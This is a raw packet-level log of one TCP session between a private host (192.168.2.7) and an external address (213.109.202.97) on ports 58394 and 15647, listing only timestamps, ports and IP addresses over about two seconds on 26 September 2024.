Sep 26, 2024 01:49:37.276863098 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.276953936 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.297116995 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.301100969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.301191092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.302110910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.302177906 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.306983948 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.307208061 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.314300060 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.314388990 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.327651978 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.327725887 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.328262091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.328315020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.333190918 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.333287954 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.344316006 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.344326973 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.344364882 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.363095999 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.367918968 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.368100882 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.369751930 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.388489962 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.388509989 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.388525009 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.388588905 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.406877995 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.407012939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.407195091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.407300949 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.413276911 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.413362026 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.420066118 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.420140028 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.420149088 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.437176943 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.437254906 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.455533981 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.455715895 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.475867033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.475935936 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.476828098 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.476926088 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.481774092 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.481863022 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.484016895 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.484029055 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.484070063 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.488898993 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.488967896 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.505743027 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.505845070 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.528707027 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.528865099 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.529099941 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.548172951 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.548300982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.568391085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.568502903 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.581243992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.581543922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.599066019 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.599185944 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.599234104 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.616072893 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.616235018 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.624814987 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.624908924 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.624977112 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.640702009 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.640822887 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.641479969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.641535997 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.641624928 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.646317005 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.646363020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.668456078 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.668704987 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.668730974 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.668755054 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.668775082 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.673672915 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.673726082 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.675033092 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.675076008 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.679867983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.679913044 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.684371948 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.684423923 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.684617043 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.689282894 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.689338923 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.691643000 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.706274986 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.706341028 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.706408978 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.708779097 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.708827019 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.713655949 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.713701963 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.717245102 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.717287064 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.722184896 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.722229004 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.727880001 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.727931023 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.727963924 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.738799095 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.738856077 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.751176119 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.751244068 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.751310110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.761224985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.761271954 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.765780926 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.765837908 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.765875101 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.770767927 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.770812988 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.771828890 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.781827927 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.781878948 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.782157898 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.793299913 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.793373108 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.798719883 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.813764095 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.814763069 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.814794064 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.814850092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.814872026 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.839823008 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.839926958 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.843955040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.844033957 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.848916054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.848998070 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.858266115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.858333111 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.858364105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.869307041 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.869406939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.885970116 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.885987997 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.886054993 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.902295113 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.902426958 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.914141893 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.914155960 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.914248943 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.932224989 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.935328960 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.935379982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.935447931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.935492992 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.937146902 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.937197924 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.941273928 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.941337109 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.946166039 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.946248055 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.954195023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.954214096 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.954263926 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.969455004 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.969611883 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.980335951 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.980387926 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.980428934 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.995069981 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.995120049 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.006567955 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.006637096 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.022783041 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.022866964 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.023704052 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.023766994 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.028768063 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.028848886 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.038712978 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.038729906 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.038845062 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.048757076 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.048791885 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.048860073 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.062690020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.062885046 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.062907934 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.067641973 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.067703962 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.073735952 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.073829889 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.078222990 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.078275919 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.078300953 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.083345890 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.083436012 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.087534904 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.087652922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.092531919 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.092614889 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.099762917 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.099806070 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.099868059 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.115237951 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.115401030 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.138326883 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.138508081 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.157948971 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.164140940 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.179430962 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.179579973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.187839985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.187968016 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.192533016 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.192625046 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.197412968 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.197546959 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.203984976 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.204158068 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.204233885 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.208753109 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.208833933 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.213726997 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.213816881 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.220516920 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.220624924 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.220674038 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.231089115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.231256008 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.247463942 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.247572899 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.247606993 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.270793915 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.272015095 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.272191048 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.275769949 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.275861025 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.280340910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.280430079 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.280596018 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.285254002 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.285320997 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.301209927 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.301248074 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.301332951 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.315922976 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.316035032 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.316643953 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.316694975 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.321429968 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.321533918 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.334976912 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.335197926 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.335208893 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.344614983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.344687939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.344968081 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.361006021 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.363610029 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.363715887 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.365972996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.366126060 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.370944977 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.371040106 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.372596025 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.372628927 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.372688055 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.377024889 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.377882957 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.377955914 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.393740892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.393891096 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.408680916 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.408839941 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.409255028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.426428080 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.426471949 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.426594973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.427421093 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.427632093 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.432410955 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.432501078 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.451971054 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.453680992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.453723907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.453810930 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.457075119 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.457211971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.462039948 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.462162971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.471668005 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.471807957 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.490036964 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.495023966 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.495151043 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.499923944 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.501413107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.502402067 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.502494097 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.511970043 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.513668060 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.544651031 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.544765949 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.554595947 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.554677010 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.582504988 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.582567930 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.587464094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.600941896 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.600996017 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.602080107 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.616595984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.616616964 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.616728067 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.635260105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.637147903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.640202045 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.640263081 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.647197008 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.647265911 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.671545982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:38.673438072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:38.673463106 CEST	15647	58394	213.109.202.97	192.168.2.7
